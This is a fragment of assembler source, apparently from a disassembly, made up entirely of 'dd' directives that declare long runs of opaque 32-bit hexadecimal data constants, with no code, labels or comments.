dd 53970D70h, 181A5934h, 1AA0F20h, 6105023Ch, 4A5FF23h
dd 0B24DE63Bh, 0CC4B3119h, 0CE8C784h, 5785292Fh, 0B5092401h
dd 0EBB6544Dh, 9BD7C0E3h, 0F866817Bh, 0F97A1518h, 11FCDEh
dd 0B022FD5Eh, 0CDE4C1C8h, 1600FAB5h, 0EF2099B5h, 404F17CFh
dd 0A94B714h, 1700184Ah, 497BC23h, 25B18B32h, 9EC2BFE9h
dd 68E0DE6Dh, 96239B6Bh, 0E31012CEh, 0C06A4E98h, 0C4DA0600h
dd 490B4118h, 11C90350h, 9623E981h, 56DE4A0Eh, 0E9F10115h
dd 8B1C7441h, 7ABCF7A1h, 0C0590380h, 0F84500CAh, 92DF305Fh
dd 7B0B94F9h, 7E773E2Eh, 13AC0026h, 0B14A9778h, 0A85863B7h
dd 37ECB44h, 3A4D55A4h, 49A1F689h, 0EBA03B6Ch, 0B33400F3h
dd 0C5D7431Fh, 5C14EF27h, 801FAE77h, 0FAC1CD96h, 5BC5F041h
dd 2DE0F090h, 293E044h, 5AF7955Eh, 4F40E341h, 0FC186718h
dd 0D4C2843Dh, 0B641B70Bh, 0E1B7F583h, 0A005703Bh, 0EE25BB00h
dd 4ECDA86Dh, 21788Fh, 509B4692h, 5912D13Eh, 0A5DA3500h
dd 0F11E71D2h, 56E928BCh, 3FD01D86h, 1A3740F2h, 0B15B759Bh
dd 0A2030500h, 1DF025EAh, 0B47D0FB2h, 3A6038D7h, 0BF88BD52h
dd 0F44CB00h, 677C6579h, 0A63B0027h, 0F52F5CDDh, 4D00D9C7h
dd 6871B2DBh, 27AA085h, 20708114h, 20DFA2EFh, 80513DBFh
dd 0B4475BDFh, 6DFEEEB7h, 0BF733800h, 0CE3ABD22h, 47C0F13h
dd 0D129BCDFh, 23800E74h, 35759314h, 8D6C0681h, 0B4A4B548h
dd 0BCAD6628h, 0A0B89D06h, 5E6293EDh, 373FB4D1h, 0DA3D800h
dd 979FE8F9h, 0C023DCF0h, 2E9A1D88h, 0E431DCB3h, 63172CAh
dd 2894210h, 7A4CDAA1h, 0EC449D8Eh, 15D4E7C7h, 5A3500EEh
dd 7E1122B5h, 0C6005C91h, 0D8B42FB2h, 0F3EA37h, 2BBE513Ah
dd 0DC9B741Ah, 81C55B01h, 0FBEEB931h, 0BDB5B020h, 0DF987748h
dd 217EAE79h, 80F0833Bh, 4E2D62ADh, 75CC17CAh, 680100C1h
dd 0EBB4E926h, 9B031C9Fh, 0B3DD9D19h, 3651F05Ch, 45B0C063h
dd 0A9ACF3Ah, 9CF3EE06h, 22ECFF54h, 0F20096E1h, 83B85739h
dd 0C0EF1DB0h, 0D2B43587h, 0A100EC8Fh, 7506456Eh, 0E424DAEh
dd 32C598CDh, 4B5634D2h, 90008CF2h, 6A77FBDAh, 33477500h
dd 0B6BED5AEh, 907A60D1h, 314A7B2h, 38858A00h, 8078841h
dd 5E6DE0D3h, 0E0B1B05Ch, 206AAF24h, 0CC58404h, 13F88580h
dd 0C946004Ah, 4CC3CB94h, 6D008117h, 2B476F74h, 6287CFB6h
dd 4614DCE7h, 60EB6625h, 0DF35B621h, 34171000h, 2136C2C7h
dd 3755177Eh, 0C1AC70h, 0D21DC408h, 0B9554BBh, 295EB1DCh
dd 10C65D02h, 0A85222F7h, 0B60848E6h, 97484Ah, 0AF2DA05Eh
dd 0D7311C72h, 1048AFEh, 82F55612h, 0DFF9C227h, 0B19DB300h
dd 0D500B530h, 8790ED3Ah, 5D3DB9Ah, 49F1832Bh, 0B3A6001Ah
dd 64ABE39Ch, 8C7DB47Eh, 0A5B04D00h, 828D0112h, 0F29C0335h
dd 0BDD0E81Dh, 89CD2100h, 1182F58h, 178E60F9h, 5532E2EDh
dd 260FC9h, 0AB3EA99Fh, 1BF4019Ah, 23ECA35Ch, 8B88D8EEh
dd 4139400h, 542EF235h, 0E2F30186h, 80070FACh, 34DEC59h
dd 588DF817h, 0FC0761ADh, 627E6978h, 0B1418709h, 4FBECD0h
dd 3024AE0Ah, 0FBA08767h, 6EC11DABh, 0EF8E7A40h, 832C50h
dd 0AE19F696h, 0F5C6C861h, 789AED18h, 1F20E9C2h, 0C04A21ACh
dd 309B0699h, 5C0032FBh, 1B9F7EB3h, 4BDC6h, 6485CA87h
dd 6F364571h, 0FC1DCFF2h, 0D9C15869h, 223F978Ch, 0C67FA28Eh
dd 0B4B64922h, 6D824F5h, 82DA3EC0h, 0A805281Ch, 3D4702F0h
dd 0D6919958h, 0E5C74060h, 7E2CB998h, 0B20338C5h, 113552h
dd 14CD811Ah, 67260B15h, 18085F32h, 432B6447h, 0B38ADh
dd 0FF3BBCB3h, 6FCF7CCh, 1625B882h, 805E8FCAh, 40DED8A2h
dd 0B15E2DE6h, 0FA07EB7Ch, 0E85AFC32h, 0E04E102Bh, 0DFC8BD39h
dd 0D70042CDh, 0A7281F6Ch, 737FABFh, 9F320F82h, 50A00E8Eh
dd 15563139h, 0F6FEF3A0h, 0D916Fh, 48864FE7h, 0A8AE0005h
dd 0EA10CD3h, 7B281129h, 7103CCD8h, 9CEBF30Ah, 0DF1009D9h
dd 660C7880h, 61006C0Eh, 0CA1763F6h, 1F4C6F1Fh, 40DBA9CBh
dd 0DF8FE525h, 2ADEEAA8h, 98461280h, 9185B0h, 0C59C42Fh
dd 0C201A6AFh, 82345B00h, 8C73284h, 0CAFB3987h, 0FAF7BA00h
dd 8FF0F867h, 50071F09h, 35C8809Ch, 0FC137Ch, 0EF98A0C7h
dd 8C47E516h, 83588175h, 151D87ECh, 111D6Ch, 0E68E7306h
dd 2F38E7FAh, 7B834207h, 49903904h, 53DF2C37h, 860FC929h
dd 0B5A0F481h, 0E2AC75AAh, 800B374Ch, 305EF744h, 953E0021h
dd 6C92F4B8h, 995C2364h, 55600030h, 324A7FEAh, 1DF300ACh
dd 707185FDh, 0F6171975h, 5F4BB2A9h, 86F6E8h, 4743FC23h
dd 241735C8h, 0DBACAE6Bh, 0F3DF8782h, 0B69BF960h, 9CE95A00h
dd 0A40F8EA5h, 0A7603C57h, 82932680h, 7CE030Ch, 7117E1B9h
dd 16BE11ACh, 0AB430E68h, 0C1242C89h, 11900B66h, 76447A1Ch
dd 29E78034h, 8B06170Bh, 0DBE0D41Ch, 0D2FD1EF6h, 515E0A80h
dd 42FC6855h, 5D480271h, 0E4D133BFh, 0B3F5B343h, 890C1F4Eh
dd 0F101CEE9h, 8B5919A3h, 0A527C3Eh, 29C281E2h, 87F88325h
dd 0FF5CF914h, 0F05B269Eh, 51DDE994h, 0D69DFB7Bh, 0B0B84007h
dd 44BD172Eh, 3A70FAh, 0F25521E3h, 0CDD52BB6h, 37285300h
dd 0CA68DDAFh, 8AB0B4h, 342CA6F1h, 17882D41h, 0B97E2200h
dd 76530C18h, 0F5280044h, 2E9F4E57h, 1F005DA6h, 3F4772A9h
dd 73DD909h, 3179F563h, 388090BDh, 322D6C3Ch, 0B7404E36h
dd 85000B35h, 4B80D6B8h, 7DF32787h, 606B18F4h, 0E8DDBF38h
dd 0E2624A18h, 5453006Fh, 0CFD6E18Fh, 8E7200E8h, 0EE59DA6Dh
dd 505BEBEDh, 0DD2BB420h, 56350020h, 36D6A6F4h, 1536DE1Bh
dd 4E6280A8h, 5A1AA2FEh, 0DAF5ED89h, 0C41AE0h, 0C1D60BD8h
dd 0CE5E306Ah, 3536C2B5h, 52478E77h, 0A4D2A580h, 80C07C4Dh
dd 19F781DFh, 1D432D5Fh, 92F137FDh, 2021FE61h, 142131C7h
dd 0CE5A6810h, 483B001Dh, 458C03D3h, 0A458CA70h, 51C14F2Bh
dd 0FC2B8529h, 589C5B14h, 90923402h, 6B3A00F0h, 6A58D680h
dd 0C6377100h, 16424733h, 0A86300FCh, 70E30EEEh, 3B0ABB18h
dd 0B35856C1h, 0B5605003h, 8402A5C4h, 0F9310F5Ah, 0C077258Bh
dd 26134848h, 120D3455h, 0D517BE17h, 6AF83F81h, 0F488F66Bh
dd 3100B3ABh, 0AFB346F9h, 0A9ACED2Fh, 28803A2Dh, 7327DE5Dh
dd 42F14F27h, 9FAAF0AFh, 5546ED1h, 4B89ECBAh, 18EA27Eh
dd 9F664492h, 0C3FD54Dh, 0FF71A502h, 0DE6ED15Bh, 0DD975B00h
dd 4B5133BBh, 25563667h, 0B69C7D7Bh, 39A89E96h, 26ADA13h
dd 96B8B2B9h, 0D3A02900h, 0B790563Bh, 4119074h, 851091B8h
dd 84148763h, 12441461h, 824D0F4h, 0F85D9CBAh, 8FDCDBBFh
dd 712989DEh, 0EDE96A22h, 0D17059D4h, 0E1D78231h, 7A7E238Bh
dd 1FD61470h, 626D259Dh, 0D67D7E88h, 86001546h, 8D4DBB23h
dd 7C9D43F6h, 0A6300461h, 2A74D95Fh, 7EF3EAFCh, 25523238h
dd 5E377F5Fh, 0C36BB30Fh, 0BC910346h, 23AE0BBAh, 72FB45FFh
dd 9FFF7AD7h, 0B81298B3h
dd 0DABE4AAEh, 0D9F6935Dh, 5430F2Eh, 0AF1F29BDh, 0EC0A4960h
dd 57FE00F9h, 60457C61h, 71000974h, 0C4E3C214h, 97F5D5C3h
dd 5DD299F3h, 591D0FE6h, 0E5E46DC5h, 4BA0F167h, 4D230AEh
dd 0A1B5FF81h, 729EFB13h, 9CECD8Ah, 0A6D41B49h, 515E851h
dd 0A8331D50h, 3C9D8FF7h, 8D103121h, 71E40117h, 0F1D9057Fh
dd 1BB3FF03h, 0BF51C030h, 0B12D24CEh, 0D7EA4231h, 851263DBh
dd 0C1D670BFh, 92F8D31h, 32935932h, 0D8D4F91Ch, 6A95A73Fh
dd 90D97E9Bh, 0E20928DFh, 887F2D44h, 760CBB60h, 0DE4FDBCAh
dd 612E4059h, 55C200B5h, 12314947h, 0FE08CDB5h, 5125EACCh
dd 8AC00913h, 874E9DF9h, 66FC6000h, 963CCE81h, 43E92461h
dd 0F9316250h, 9DE2C5D4h, 4AF1D718h, 574B8EC8h, 8557191Ah
dd 0CBBE155Bh, 79BD0898h, 16664814h, 0BACA6FCh, 0D616A4DBh
dd 6800DE2Eh, 0D49063A4h, 9AB4B84h, 0C18589C5h, 632D87F9h
dd 57869A69h, 95D4CE56h, 0A271D2B0h, 0B9D98B04h, 9EFE10AEh
dd 0AEBC82F0h, 0E31077E3h, 0D5009C3Dh, 464878E8h, 0B540120Fh
dd 68547F09h, 16E45569h, 785CBB02h, 0EDFC77D6h, 0BEE1E0E8h
dd 951C7610h, 12AF6921h, 45595D98h, 1BE2B080h, 65FB2Ah
dd 0CF81C02Bh, 0DF13977h, 6695BA70h, 0B3240B6h, 7899BD25h
dd 15F4BD03h, 9C1756FCh, 3EFEAE00h, 895260C0h, 17F6D197h
dd 0D588E05Bh, 7A893AF5h, 0F4C2E62Bh, 9D9C8FFh, 30822D30h
dd 0BF27ED8Dh, 85EF6A76h, 0C3A81E6Dh, 0A83AE9B5h, 3A5D03ECh
dd 0DD752E77h, 0F5F3D209h, 795182h, 507B9DB7h, 61021314h
dd 0A01F060h, 9A425F55h, 6486975Fh, 68B96015h, 53FB2D8Bh
dd 69E73154h, 94F72F08h, 296C61F0h, 2AD19D33h, 6AFA6716h
dd 0CF605FC7h, 423BF01h, 3CBB66A4h, 86B3EFCCh, 2C659D08h
dd 50455BC9h, 9201F649h, 0AEE09630h, 0AC2FEEFFh, 0B5298166h
dd 386A27BDh, 5D8A74FAh, 9E057D46h, 0A65595C2h, 0BA01AA00h
dd 165CBFF1h, 0B2452310h, 456D8D0Ch, 0AF11766h, 0C286BE1h
dd 0B7045E0Dh, 228FA0B9h, 0ADA9045Ah, 0FAB58914h, 0CAFCDF53h
dd 34C84524h, 1B2AE66h, 28458DC2h, 1177B5F5h, 55D8811Ch
dd 35ECF66Bh, 0E8C427AAh, 4305F464h, 5D28EAF0h, 0D2F9B1BFh
dd 0B5DAE657h, 0AF460124h, 98A130A7h, 87BD2BF9h, 0D252FB8Bh
dd 0F960FBAFh, 1D5F9074h, 57D2635Eh, 0EB98BB51h, 876AFFDEh
dd 7202F911h, 6FC608C9h, 757C8BB7h, 3D9E6A10h, 0ADF3B700h
dd 9D5D6186h, 635901D9h, 0F9BF0FF7h, 88E86B5Fh, 12C955B7h
dd 0F59EAA8Bh, 8BF6B001h, 0D35F61F0h, 0F51D32Eh, 70BDCF60h
dd 0E7131252h, 6735FA5Bh, 38775DC8h, 82963372h, 7CC1FB31h
dd 0FF2BB5D9h, 5B586A32h, 0ABF2733Ch, 0F2BD96C1h, 72AFDB7Fh
dd 0C7002253h, 0AED87105h, 811939E7h, 0E1D516F9h, 12DDA314h
dd 314FBCE9h, 0DDBA720Fh, 96B87A5Ch, 0B9845281h, 0E5176A8Dh
dd 0F4B7BEAh, 0DDF0771Ch, 0E5DE8242h, 2DE6D41Bh, 4BD8B8DBh
dd 0B7872D8h, 0EA2164DFh, 0EEB50358h, 0E0CA4AA1h, 5116E0F3h
dd 0FFA79219h, 0A125B65Bh, 206B33C6h, 0BBA5CBA0h, 53972100h
dd 1C870B3h, 77477B2h, 0D3AB09FEh, 0FFA71414h, 6FF074B6h
dd 0DB029FC4h, 9D898E8Fh, 5BFB7F2Dh, 0B5F8099Bh, 9A93E0A9h
dd 0E4698253h, 9A059F5h, 0EAFF0C7Ch, 1F1E70DAh, 25C366B7h
dd 98A73DFCh, 0CA4B30h, 84546A8Dh, 0D687F8CBh, 0CFB329B5h
dd 72C43D2h, 893E9290h, 0AE5B74B7h, 6C3D009Ah, 4F7C6D68h
dd 0FA8B7B1Eh, 7F9296F0h, 0BBFF250h, 89A8CBCh, 8934B17Dh
dd 3EC0C068h, 0BEB75074h, 9A7F549Dh, 0CDDF69CDh, 0CB39694Ah
dd 1131607Eh, 13612E40h, 0FEFBCF80h, 26264E3Dh, 33E81CB1h
dd 2B6005Ch, 0CDB17908h, 7A97CF8h, 0C7D3ECA4h, 9269B710h
dd 0C77EE0D2h, 0F72E4D51h, 4155B04Bh, 526305DEh, 0FC538C54h
dd 60288F5Eh, 80CE2B34h, 5BB009EFh, 17DC605Fh, 315A5160h
dd 8552ABDh, 0A5D1B791h, 2350959Fh, 45B2D9EEh, 2567CBA6h
dd 3832147Dh, 0EE4E042Eh, 91020C6Eh, 703FC36h, 0C61B5C0h
dd 5A7DE4B7h, 22B68E16h, 0DC3794F5h, 0ABAD360Fh, 0D3846317h
dd 27F8CC1Fh, 0D87AFA5Bh, 33F6413h, 39C1774Ah, 93D4C19Dh
dd 6A6DF1EEh, 0FCC1F334h, 6B6ADBB3h, 21723A0h, 0E065C12Bh
dd 130204D7h, 3879CBFh, 8262D4BDh, 0D88A96F8h, 0C98302D9h
dd 0D00C4A66h, 2DFA61Fh, 9169F162h, 0E9031409h, 53968A5Bh
dd 62577061h, 45E4F900h, 0F19D0958h, 0E4F4B72Eh, 91309FDCh
dd 2021431h, 0C8DC49AEh, 923C04Dh, 9F69517h, 5D9F09C9h
dd 0B9238179h, 35B25716h, 0A087A74Bh, 3B36D5CAh, 8A8B3318h
dd 10D7F554h, 0C7DC49h, 7E0EA353h, 0E959AFC8h, 0B5AB1B00h
dd 275C8031h, 1A03CD1h, 0FE223917h, 0DA200CDDh, 0BA2E5ADDh
dd 0D85EEE6Eh, 10023A76h, 35166DB2h, 282656ECh, 200BB508h
dd 0DE5EA3EEh, 1CB256A6h, 0D56C30h, 0C2182F78h, 23513ABFh
dd 0F4899D2Fh, 0D20452DAh, 0C5A05705h, 0AB2EE32Fh, 6E13F26Fh
dd 80A1AD89h, 0C264E8F3h, 0C7FABC32h, 94058BB7h, 0F9FE9444h
dd 0FF8B8F6h, 961FA69h, 115856E9h, 35F4084h, 0FD2552FBh
dd 8C14AC3Eh, 4780484Ch, 3EF64BD7h, 9D26F96h, 826F6A36h
dd 0FE511C29h, 4A494061h, 1100C605h, 0C730697Eh, 0ABF505Fh
dd 7026D66Ch, 0A5C0AFA3h, 830AE381h, 875722F5h, 77F98BC2h
dd 213E9EDBh, 0FFFC4514h, 71A59AA6h, 3FBA0905h, 94800FBCh
dd 0E8E277CEh, 79CACF00h, 0A2EB203h, 849601ACh, 7195013Dh
dd 0B4281411h, 0D914B5D9h, 0D8107154h, 73BD3AB5h, 0A75D52FBh
dd 0F5D9494Eh, 37006366h, 0B92A2124h, 2D05BBh, 8184DA46h
dd 8672D060h, 0E138F80Ch, 40513E29h, 0F4BF5F07h, 4C02F4B1h
dd 0E38056D8h, 99D1FFADh, 0D4FADEEBh, 15980603h, 512880Fh
dd 0B9666019h, 0FDC40Bh, 0BAF70F2Fh, 0C82EE297h, 5112A25Fh
dd 0C1144BFFh, 0DCF5FCh, 0F65FF8B3h, 1F813DD8h, 19EE91B7h
dd 13A6AF30h, 0AF176B94h, 0FD0054CBh, 1A520168h, 0A80786A2h
dd 0E5DD4E9Bh, 45317D17h, 0FB605F3Fh, 4A5A5B5Ch, 9E99C5D0h
dd 0AB53F468h, 5A2F93A2h, 8B62AD5Ch, 4187D07h, 0A01E881h
dd 8075735Eh, 0C0E494CFh, 5A9A708Dh, 0D1F258h, 0A37C97C4h
dd 48E1C41h, 29322277h, 0AFEBC5E4h, 0A84F31A7h, 6E3000A8h
dd 1DBEC4B0h, 3251002Bh, 27EF4776h, 0D938B34Ah, 2A80E05Eh
dd 0A60D60EAh, 0A67FCCh, 21410E5Ch, 0B5B6BE52h, 5950D678h
dd 0B70007FCh, 5AEF8148h, 5051D210h, 0DF568AF5h, 1EA490Fh
dd 1412FC99h, 2D319604h, 25E905h, 0A965F06Dh, 574AAA66h
dd 0F5B93DBBh, 827C5Eh, 2D1380CEh, 7FA474h, 77D1F437h
dd 0D3BA900Fh, 18A72A1Eh, 0AD1A215Dh, 96042110h, 108F30C1h
dd 8CC10E81h, 0F870711Ah, 0F00D2B7h, 0A93855C9h, 39BF062h
dd 7F34FF45h, 0F9C0A141h, 8E0502DDh, 276A7B98h, 0C1CF51C0h
dd 266E00CCh, 0A4474244h, 2E008F21h, 0DD048B1Eh, 9D4950h
dd 0AB63AAC3h, 0A0EB8DBCh, 86FA4000h, 0AACDB06h, 305E3E83h
dd 0B4E3FE80h, 172B8844h, 14F93Bh, 0DDAE5FB2h, 4AFBECh
dd 72B30D0Eh, 0C29FF0F2h, 0F4DA6B01h, 0CFC124B8h, 73BA5ECh
dd 5AB52C60h, 3D6B20B4h, 8D3C26BBh, 0B0A9984Bh, 18A5841h
dd 40D22907h, 0FC8B205Ch, 96004B41h, 0D06B0B32h, 68A39CEh
dd 11C1F586h, 890F3948h, 15F1385h, 833CD23Eh, 29809EE9h
dd 0C22291A5h, 633F298Fh
dd 0BCA8F5D0h, 0CA0019E5h, 954DE9C6h, 7AEE0A33h, 9AC7005Eh
dd 0F7407A20h, 0AA0046E2h, 98761AC5h, 26DB541h, 0F66A8E65h
dd 0E0A1A819h, 0C8EE1FE8h, 6972A567h, 70526200h, 1B8D0616h
dd 0A83402C3h, 25EA76E9h, 1807C886h, 0CB99C600h, 477BE758h
dd 0EAC900F6h, 0B16A7DC2h, 0AC003421h, 0C7BCD40Dh, 0A06238AAh
dd 7DA86A0h, 7204F5C5h, 333AD01Ah, 0A100C29Dh, 0A448DF09h
dd 8DB929h, 8CD966D4h, 9A474655h, 57BF6C03h, 0C010CBh
dd 0D4E8CDE8h, 0E22BE092h, 27092906h, 98945Fh, 127EE372h
dd 0BFA42184h, 30342B01h, 914BD797h, 0BA5041BFh, 8DFF00CCh
dd 0A2E87CE4h, 1D0036D1h, 7675173Bh, 0E466309h, 0C915F49Dh
dd 0C0807B4Bh, 139EEF74h, 4D903702h, 40D42760h, 45B880h
dd 0CA6D9B46h, 83F422BFh, 57ECC707h, 0B20099B7h, 0C554770h
dd 5A760FF2h, 0D40063A8h, 0BA352B6Fh, 18B60407h, 0A087B22Ah
dd 2C004024h, 206CA773h, 244A34C1h, 1FAA9F42h, 29B8D9B0h
dd 2838EC26h, 0B12D3C02h, 8081909Ah, 72324A9Fh, 86F534E6h
dd 0C8F68028h, 0CD123DF8h, 0F4F14h, 7767168h, 0F960787Bh
dd 0C4DB00B1h, 68A0469Ch, 0EE131CC5h, 0BF012A16h, 33E3B459h
dd 9C45FCh, 5F0188E4h, 0BC2072CEh, 0B0712F1Ch, 6C03A952h
dd 818FD338h, 984210A4h, 0F5BC4864h, 11BC2428h, 1FDF4040h
dd 692021ECh, 4AECA7h, 835C5B85h, 0EB9D180Eh, 31EA2307h
dd 7C212A65h, 0CD8A14Eh, 0E149000Ah, 1C56FE55h, 94A024F0h
dd 570539A9h, 78BE8A43h, 0FC953580h, 1743B805h, 21DA33h
dd 0DE322D2Eh, 9FF489FBh, 940020F4h, 0F41C6048h, 1F71B296h
dd 9D6F7DE2h, 36140062h, 731952DFh, 0A1303460h, 9AA8BBh
dd 1B2A3A28h, 7CDC5ACAh, 0BF773F00h, 0B7FEE3A9h, 99480044h
dd 354585E1h, 743011F4h, 0D665403Ah, 0A95600B3h, 7F8F7DD8h
dd 8C01F9C6h, 624454FFh, 28802B24h, 0AF9A26B5h, 50045DEh
dd 97CC91DBh, 0E0600D89h, 9E8D047Fh, 0C067B770h, 0A5FBD9B7h
dd 0ECF31900h, 867C14CEh, 801C3E0Dh, 6813CBBFh, 0E1980025h
dd 0D56D1FA4h, 77046090h, 0AF67D082h, 6679A081h, 25E9630h
dd 810D2592h, 0B0804AF6h, 7E632ABDh, 67A35000h, 2561439Bh
dd 0B4A8CF1Fh, 14B6BB23h, 788C20F7h, 5A005B89h, 0EEFE66F8h
dd 7FE47Ch, 796AFF3Bh, 0DE052218h, 88D5B200h, 0F558365Bh
dd 0F6EB0077h, 35D3FB69h, 8204A132h, 0D449074Fh, 7D2E1E00h
dd 0C50026DCh, 7BE8ED78h, 95255A5h, 0C4F3EE9Dh, 4AA9230Fh
dd 0E29AD700h, 649865FFh, 0E4739B00h, 87D93B2Bh, 52CD00DDh
dd 0A32BE1Eh, 3C00216Eh, 0B7B2B96Ah, 0F89EE2EEh, 46F90EA4h
dd 0D9C049C5h, 75866C2Fh, 825F2A00h, 6DBB154h, 0F21E00D8h
dd 79957CC1h, 0A607348Ah, 0A36B1D3Ah, 0A2865420h, 0B02C18B8h
dd 0F62F6815h, 0EF144403h, 0E0B5F2B2h, 6078046Bh, 8E732164h
dd 3630377Ah, 0AFF570B3h, 4AB6C1FCh, 202AC099h, 0D0411ACh
dd 0AE87E8A0h, 0DB8DA080h, 0F8840935h, 0F80050E3h, 41FA0DF2h
dd 31087500h, 2C945355h, 0A6906C91h, 0F600A958h, 0B89576DFh
dd 1D9F28h, 0C3669423h, 0FFD117CAh, 4D0ACC98h, 0F02F1A6Ch
dd 0C428B700h, 12239B4h, 5D15F818h, 0C0E1AA3Dh, 0E90924D2h
dd 0E5BDC05h, 806A0A0h, 808D4Fh, 6E33D58Eh, 6AAB3972h
dd 5CBCAA50h, 0B95728C0h, 58D09C55h, 1F00545Dh, 0D1653571h
dd 0F000F19Bh, 2C173A9h, 0B40801h, 3D51FB98h, 28DA13A4h
dd 4363024h, 589DA100h, 7AF10144h, 99A60095h, 459E519Bh
dd 2100384Ch, 0AE9611C8h, 13C174FDh, 340CC7Eh, 4CDB4885h
dd 0D0ADE380h, 325F8304h, 4C970754h, 8EF01757h, 7DE4CAh
dd 0D63B19A6h, 0A0914937h, 0BFC87600h, 84C108A8h, 0F417A4Ah
dd 0A589C572h, 0F0253340h, 0DA9817F2h, 81954200h, 3A4C2E3Eh
dd 97A8A088h, 0A57C0108h, 0C9AABB46h, 1CB864BDh, 520001E6h
dd 8E7F37A0h, 0B29A42CEh, 9CAB00F0h, 0A7C0D535h, 0A9F0B0CCh
dd 7D7E520Bh, 3688806Ch, 5E59FDh, 2EBD1DA2h, 0E1ABE376h
dd 8028DF3Ah, 45F9FB9Dh, 1E7C2957h, 4014D740h, 5FB04212h
dd 200A4B8h, 9F77CFFAh, 0F2FFEE05h, 0EA6FB067h, 0C021006Ch
dd 40A8E591h, 1600A52Fh, 0C4C6FCDFh, 0B24BEF1Dh, 75D20050h
dd 2AE7F03Eh, 5B01B488h, 0C14EE1B2h, 0F4FF944Dh, 0AF24C0EBh
dd 61008231h, 0AEBF3A30h, 69B9CCh, 0CB181C83h, 0FC20DFADh
dd 1F331903h, 0B811FE08h, 94E88343h, 3F12013Ch, 2466A3A4h
dd 1100C468h, 5D827264h, 902EA201h, 46260082h, 0C669974Ah
dd 0EC2C1AC7h, 0C0406C48h, 4FF321h, 0D477A53Ch, 57FB29B7h
dd 7CAB3600h, 432AEDAh, 4AB9861h, 7193A888h, 30B880D5h
dd 7A74F7C2h, 2ED98E17h, 0AB57C845h, 0B2906897h, 743086F7h
dd 71920CEAh, 0CA38D41Bh, 653C80F8h, 0B1BF825Dh, 40E424FBh
dd 687C39h, 0AC2D7BD8h, 5632759Dh, 0CB0036F0h, 0F038FB89h
dd 0F4722A4Eh, 0B65F307Ah, 0ABAEA768h, 3D36823Ah, 0D1C3002Bh
dd 2F8AB426h, 99B9E597h, 5AB26A00h, 5F09CB47h, 0FE026774h
dd 6F280C5Ch, 56A8A0D8h, 134ABECh, 97034EE0h, 0F0A26527h
dd 91247380h, 0D80092FEh, 0AA30EAF3h, 0BD30372h, 8FC01C5Eh
dd 54886FE8h, 51439F00h, 0E66D4555h, 1BE40052h, 155E32AAh
dd 9A004885h, 346292BBh, 172633Bh, 2B3DB3BEh, 80D795FAh
dd 6A85F389h, 0C875D09h, 6F54B1CBh, 21C0E908h, 0A26A7E16h
dd 30F60082h, 0B958A13Bh, 0FE0054B3h, 7B4A7424h, 6391336Eh
dd 8897185Ch, 0E05E3801h, 30E5D6C0h, 2A2020BAh, 0C888D374h
dd 0A6B6402Ch, 33096310h, 60FEA064h, 770D6A89h, 1A07875Dh
dd 0BE676A82h, 0C243A672h, 11241D4Eh, 8CE880F0h, 21DCAD6h
dd 0E68992ACh, 0C85980DEh, 0FA765A03h, 7A30F72Bh, 741457D0h
dd 3E0B3D9Fh, 54A580E2h, 92EB5E00h, 732E2A2h, 0BE885BD7h
dd 0BBD280F3h, 1A280DC0h, 5A00D964h, 6842D586h, 3CFEF8D4h
dd 3800D890h, 2DA2F77Ah, 60081BCh, 0C579E30Dh, 28B3B4h
dd 5A3A147h, 77A04A0Ch, 0FEF9E1Eh, 8EF157C0h, 50C335h
dd 7A05DA49h, 2E6B060Ah, 8BEC9900h, 2369F7C5h, 949879h
dd 0DA3D6780h, 0CF8629A2h, 411A3EFh, 0D626FEE1h, 0B7AB1080h
dd 5442D453h, 0E032F000h, 7F108F72h, 7A29000Dh, 55C54919h
dd 0C13C665Eh, 5D4B0037h, 0FBADB6DAh, 944F38F2h, 0F8EB8680h
dd 236D2EEEh, 89FD0E04h, 5CC0AEB6h, 3AB55ADEh, 409E6231h
dd 787B0070h, 56AE9B9Ch, 0C8084200h, 0D3372941h, 0D7090065h
dd 548BEAF2h, 111C5E6Dh, 688191BCh, 48714F8h, 1EDADDCh
dd 0C146CA9Ch, 60CC301Dh, 0AC015E6Ch, 0D1B122C0h, 0BDD81BB5h
dd 0E18A39ADh, 3AF2B780h, 0F7DADBA5h, 0CF028900h, 0ABC7557Bh
dd 6083F0C0h, 7598902Fh, 0E0009A3h, 0F38A21F4h, 3B596730h
dd 4C898414h, 7F804997h, 2E9A5DE2h, 0FD7CAD00h, 9520041Eh
dd 0D82A5099h, 57491523h, 0EE00B827h, 4A7252D9h, 0D4FEAD90h
dd 0FD38E7EEh, 9A8D0119h, 0AA66DD46h, 6051D7ECh, 507388BAh
dd 3B1E1C8Ch, 948059E0h, 9D2A24ADh, 607162BBh, 7D20D8E8h
dd 283250D9h, 0CC5E9Ah, 3957E315h, 1FF19893h, 94139F0Eh
dd 2B36601Ch, 63756Eh, 8E05D7F6h, 29CB3CE5h, 0DF00AFF2h
dd 6432B45Bh, 3DB0E0h, 0B59FE74Bh, 933C6775h, 0AFEB4100h
dd 606FBD0Eh, 2CE00004h, 0D5E307A5h, 0C2018C9Bh, 0B68413C7h
dd 0F0508083h, 54A4Eh
dd 93031BD1h, 0EE142EB9h, 44ED8600h, 0BE5E39D3h, 9A9930C0h
dd 40584C31h, 42313C00h, 3ED92EC8h, 0F8A90097h, 4F84D678h
dd 1F7BD5D4h, 2E89F3Eh, 0D7335EB2h, 606C4066h, 86580079h
dd 0B653CF26h, 710032B7h, 8406BC27h, 18F38CCAh, 0CA7E1DD9h
dd 28005FE3h, 522FE16Ah, 0E6B95BADh, 6DBF0010h, 0EF3D8F32h
dd 0D50318EEh, 0E0AA79F3h, 0F1E02ECAh, 0E49B04BCh, 3714C166h
dd 5C8190C2h, 0FAD6FD80h, 0DF18C077h, 6338C675h, 14572F3h
dd 0EC0F4782h, 20AC461Ah, 12163978h, 0C300FF61h, 0F786ED0Bh
dd 0E2020099h, 0B5BAE73Bh, 3C07B125h, 9D6F907Bh, 3E502D67h
dd 635C83EEh, 86DA48FAh, 205B0CB9h, 8E003541h, 1BF7F03Ch
dd 9144D8h, 4B03872Bh, 0F6893E3Bh, 80000899h, 84AB64E6h
dd 0A87F7392h, 3E62C4h, 0B997E1A2h, 820EC49Eh, 1A8C648h
dd 0FF3A3FC0h, 8850331Ch, 9530A6h, 0A2FC5966h, 213970DEh
dd 98F6FA33h, 0EFAF98FBh, 596400DAh, 60C248B5h, 0A2A0F892h
dd 4973AD10h, 89C49A00h, 0CAA276B0h, 0EDDF0070h, 5921ACBEh
dd 660173B1h, 4A284B27h, 388020F7h, 0AEBEC385h, 2305A8A7h
dd 2D1182F4h, 0E0CBBB00h, 7C0D2E2Bh, 0A5D00071h, 0CFDA7983h
dd 0BD00628Ch, 47A25893h, 178294h, 806B28FBh, 0D71E6E60h
